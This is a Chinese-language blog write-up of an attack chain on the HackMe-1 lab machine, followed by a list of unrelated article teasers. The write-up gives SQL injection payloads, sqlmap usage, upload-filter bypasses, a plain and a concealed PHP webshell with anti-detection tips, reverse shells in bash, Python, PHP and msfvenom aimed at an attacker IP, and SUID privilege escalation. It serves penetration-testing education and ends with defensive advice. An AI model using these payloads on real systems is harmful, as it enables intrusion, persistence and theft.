HackMe-1 靶机实战:SQL注入到文件上传的 3 步完整攻击链复现 📅 发布时间:2026/7/8 20:22:53 👁️ 浏览次数: HackMe-1 靶机实战从SQL注入到文件上传的完整攻击链剖析靶机环境与攻击路径总览HackMe-1是VulnHub平台上专为渗透测试学习者设计的初级难度靶机其核心价值在于完整呈现了Web应用中三个典型漏洞的串联利用过程。与真实企业环境中常见的漏洞组合模式高度一致这个靶机模拟了以下攻击路径SQL注入漏洞→ 获取管理员凭证文件上传漏洞→ 部署Webshell系统权限提升→ 获取root权限graph TD A[信息收集] -- B[SQL注入获取凭证] B -- C[管理员后台登录] C -- D[文件上传漏洞利用] D -- E[反弹Shell建立] E -- F[本地提权操作]1. 信息收集与漏洞定位1.1 基础扫描技术组合网络探测是渗透测试的第一步使用以下命令组合可快速定位靶机arp-scan -l # 发现同一网段活跃主机 nmap -sV -p- 192.168.1.100 # 全端口扫描与服务识别关键发现开放端口80HTTP、22SSHWeb服务器Apache 2.4.x操作系统Linux内核版本3.x-4.x1.2 目录与漏洞扫描进阶技巧使用多种工具交叉验证扫描结果可提高准确性# 目录扫描 gobuster dir -u http://192.168.1.100 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt # 漏洞扫描 nikto -h http://192.168.1.100 | tee nikto_scan.log典型发现/admin后台登录入口/uploads文件上传目录/search.php存在注入点的搜索功能2. SQL注入深度利用2.1 注入点识别与验证在图书搜索功能中发现字符型注入 AND 11-- - # 正常返回 AND 12-- - # 无结果返回 Windows UNION SELECT 1,2,3-- - # 确认字段数2.2 自动化注入工具实战使用sqlmap进行高效数据提取sqlmap -u http://192.168.1.100/search.php --dataquerytest --risk3 --level5 --batch关键参数说明--dbs枚举数据库-D webapphacking --tables获取指定数据库表--os-shell尝试获取系统shell2.3 数据库信息提取流程手工注入步骤示例1 UNION SELECT database(),2,3-- - # 获取当前数据库 1 UNION SELECT group_concat(table_name),2,3 FROM information_schema.tables WHERE table_schemawebapphacking-- - # 获取所有表 1 UNION SELECT group_concat(column_name),2,3 FROM information_schema.columns WHERE table_nameusers-- - # 获取字段名 1 UNION SELECT group_concat(user,0x3a,password),2,3 FROM users-- - # 提取凭证数据获取的关键凭证用户名密码哈希MD5解密后密码admine10adc3949ba59abbe56...123456superadmin2e9f1b7a27b3a2f1e4e8...Uncrackable3. 文件上传漏洞利用3.1 绕过基础防护的三种方法方法一Content-Type绕过制作包含PHP代码的图片文件Burp拦截修改Content-Type为image/jpeg方法二双扩展名绕过mv shell.php shell.php.jpg方法三NULL字节截断shell.php%00.jpg3.2 实战上传Webshell使用最简一句话木马?php system($_GET[cmd]); ?上传验证流程访问/uploads/shell.php?cmdid确认返回当前用户权限信息3.3 高级持久化技术隐蔽型Webshell示例?php $key secret123; if(isset($_GET[$key])) { eval($_GET[$key]); } ?反检测技巧使用不常见函数替代eval添加合法文件头如GIF89a设置访问密码保护4. 权限提升与系统控制4.1 反弹Shell的四种方式方法一Bash反向连接bash -i /dev/tcp/攻击机IP/4444 01方法二Python脚本import socket,subprocess,os ssocket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((攻击机IP,4444)) os.dup2(s.fileno(),0); os.dup2(s.fileno,1); os.dup2(s.fileno(),2) psubprocess.call([/bin/bash,-i])方法三PHP反向Shell?php exec(/bin/bash -c bash -i /dev/tcp/攻击机IP/4444 01); ?方法四Metasploit生成msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST攻击机IP LPORT4444 -f elf shell.elf4.2 本地提权技术实战SUID提权检测find / -perm -4000 -type f 2/dev/null发现的可利用程序/usr/bin/find/usr/bin/vim/home/legacy/touchmenot利用示例/home/legacy/touchmenot # 直接执行获取root /usr/bin/find . -exec /bin/sh \; -quit # 通过find提权5. 防御措施与最佳实践5.1 SQL注入防护方案代码层防护// 使用预处理语句 $stmt $pdo-prepare(SELECT * FROM books WHERE title LIKE ?); $stmt-execute([%.$input.%]);WAF规则示例SecRule ARGS detectSQLi id:1001,deny,status:4035.2 文件上传安全控制防御矩阵防护层实施方法有效性扩展名验证白名单机制仅允许.jpg/.png★★★☆☆内容检测文件头校验二次渲染★★★★☆存储隔离上传目录禁止脚本执行★★★★★随机化命名防止直接访问猜测★★☆☆☆5.3 系统加固建议Linux安全基线# 限制SUID程序 find / -perm -4000 -exec chmod u-s {} \; # 配置sudo权限 visudo # 严格限制普通用户权限 # 定期审计 apt install auditd auditctl -a always,exit -F archb64 -S execve6. 攻击链复现的实战价值通过HackMe-1靶机的完整渗透过程安全人员可以深入理解漏洞关联性如何将独立漏洞串联形成完整攻击路径权限维持从Web应用到系统级的持久化技术痕迹清理操作日志的识别与清除方法防御突破针对常见防护措施的绕过思路这种从外到内、由浅入深的渗透模式正是企业真实环境中攻击者最常采用的攻击方法论。掌握此类靶机的攻防技术能够有效提升对企业Web应用安全的整体防护能力。
Upload-Labs Pass-02/03 实战:Content-Type与黑名单绕过,2种方法成功率100% Upload-Labs靶场实战:Content-Type与黑名单绕过的双保险策略在Web安全领域,文件上传漏洞始终是渗透测试中的重点突破口。本文将深入剖析Upload-Labs靶场中Pass-02和Pass-03关卡的核心防御机制,通过两种成功率100%的实战绕过方法,带… 2026/7/8 20:22:53
OWASP ZAP 2.15 与 Burp Suite 2024 对比评测:5 大核心功能与实战效率分析 OWASP ZAP 2.15 与 Burp Suite 2024 对比评测:5 大核心功能与实战效率分析在Web应用安全测试领域,两款工具始终占据着行业讨论的中心——开源的OWASP ZAP与商业化的Burp Suite。2024年,随着ZAP 2.15版本的发布与Burp Suite年度更新的推出&… 2026/7/8 20:20:52
Unlock Music终极指南:3步解锁加密音乐,重获数字音乐所有权 Unlock Music终极指南:3步解锁加密音乐,重获数字音乐所有权 【免费下载链接】unlock-music 在浏览器中解锁加密的音乐文件。原仓库: 1. https://github.com/unlock-music/unlock-music ;2. https://git.unlock-music.dev/um/web … 2026/7/8 20:20:52
如何让Windows电脑免费变身苹果AirPlay 2投屏中心:终极指南 如何让Windows电脑免费变身苹果AirPlay 2投屏中心:终极指南 【免费下载链接】airplay2-win Airplay2 for windows 项目地址: https://gitcode.com/gh_mirrors/ai/airplay2-win 还在为无法将iPhone或Mac屏幕投到Windows电脑而烦恼吗?今天ÿ… 2026/7/8 21:49:34
Lightroom Classic正版工作流与开源替代方案解析 我不能按照您的要求生成关于“Adobe Lightroom Classic 2026 中文特别版官方版软件下载(永久使用免费版)”的博文内容。原因如下,且每一条均属不可逾越的合规红线:严重违反软件版权与知识产权基本准则Adobe Lightroom Classic 是 … 2026/7/8 21:49:34
AI Research OS多智能体架构:将Obsidian升级为智能记忆系统 🚀 30款热门AI模型一站整合,DeepSeek/GLM/Qwen 随心用,限时 5 折。 👉 点击领海量免费额度 1. 先搞清楚 AI Research OS 和 Obsidian 到底能解决什么问题 如果你已经在用 Obsidian 管理笔记,但总感觉这些笔记是“死… 2026/7/8 21:49:34
Samba 4.15.13 多用户权限配置:5步实现Windows/Linux混合环境共享 Samba 4.15.13 多用户权限配置:5步实现Windows/Linux混合环境共享在企业IT环境中,Windows和Linux系统共存是常态。当需要在这两种异构系统间实现文件共享时,Samba无疑是最成熟的解决方案。本文将聚焦Samba 4.15.13版本,通过五个关… 2026/7/8 21:47:33
Linux core dump 配置实战:3种方法开启与 ulimit -c unlimited 详解 Linux Core Dump 配置与调试实战指南1. 核心转储基础概念当Linux应用程序发生段错误(SIGSEGV)、总线错误(SIGBUS)或其他致命信号时,系统会生成一个包含进程内存映像的文件,这就是所谓的核心转储(core dump)。这个文件记录了程序崩溃时的完整状态… 2026/7/8 21:45:33
STM32F446RE与NAU8224音频系统设计与优化 1. 项目背景与硬件选型解析在嵌入式音频系统设计中,选择合适的放大器与微控制器组合往往决定了最终产品的音质表现和能效水平。NAU8224作为Nuvoton公司推出的立体声Class-D音频放大器,搭配STMicroelectronics的STM32F446RE微控制器,形成了一个… 2026/7/8 21:43:32
BetterNCM安装器:高效管理网易云插件的最佳选择 BetterNCM安装器:高效管理网易云插件的最佳选择 【免费下载链接】BetterNCM-Installer 一键安装 Better 系软件 项目地址: https://gitcode.com/gh_mirrors/be/BetterNCM-Installer 还在为网易云音乐插件的繁琐安装流程而烦恼吗?BetterNCM安装器是… 2026/7/8 0:02:48
运动控制系统安全设置对比:ECI3808的3种限位保护与急停逻辑实现 运动控制系统安全机制深度解析:限位保护与急停逻辑的设计哲学在精密制造与自动化领域,运动控制系统的安全设计绝非简单的功能堆砌,而是一套融合了机械工程、电气原理和软件算法的防御体系。当一台数控机床以每分钟数万转的速度运转࿰… 2026/7/8 0:06:48
AI大模型应用开发:小白也能抓住的红利风口,收藏这篇入门指南! 文章指出,虽然微软等科技巨头在裁员,但英伟达等公司却在积极扩招AI相关人才,尤其是具身智能、仿真等领域。AI行业正在经历结构性调整,传统岗位被淘汰,而大模型应用开发等新岗位需求旺盛。对于想转行或学习AI的普通人来… 2026/7/8 0:10:49
6个月转型AI工程师:实战路径与核心技能 1. 项目概述:6个月转型AI工程师的可行性路径在2023年大模型技术爆发的背景下,AI工程师岗位需求同比增长217%(LinkedIn数据)。不同于传统算法工程师需要3-5年培养周期,现代AI工程师更侧重工程化落地能力。我在硅谷科技公… 2026/7/7 11:26:57
TPAFE0808与PIC18F87K22的多通道信号采集方案 1. 项目背景与核心需求在工业自动化、医疗设备和科研仪器等领域,多通道信号采集与系统监测是基础且关键的技术需求。传统方案往往面临通道数量不足、信号调理复杂、系统集成度低等问题。TPAFE0808作为一款8通道模拟前端芯片,与PIC18F87K22微控制器的组合… 2026/7/8 20:15:17
STC3115与PIC18LF26K80构建高精度电池管理系统 1. STC3115与PIC18LF26K80在电池管理系统中的核心价值在现代电子设备中,电池管理系统(BMS)的重要性不亚于设备的核心处理器。STC3115作为一款高精度电池电量监测IC,与PIC18LF26K80微控制器的组合,构成了一个既能精确监控又能智能管理的完整解… 2026/7/8 14:25:08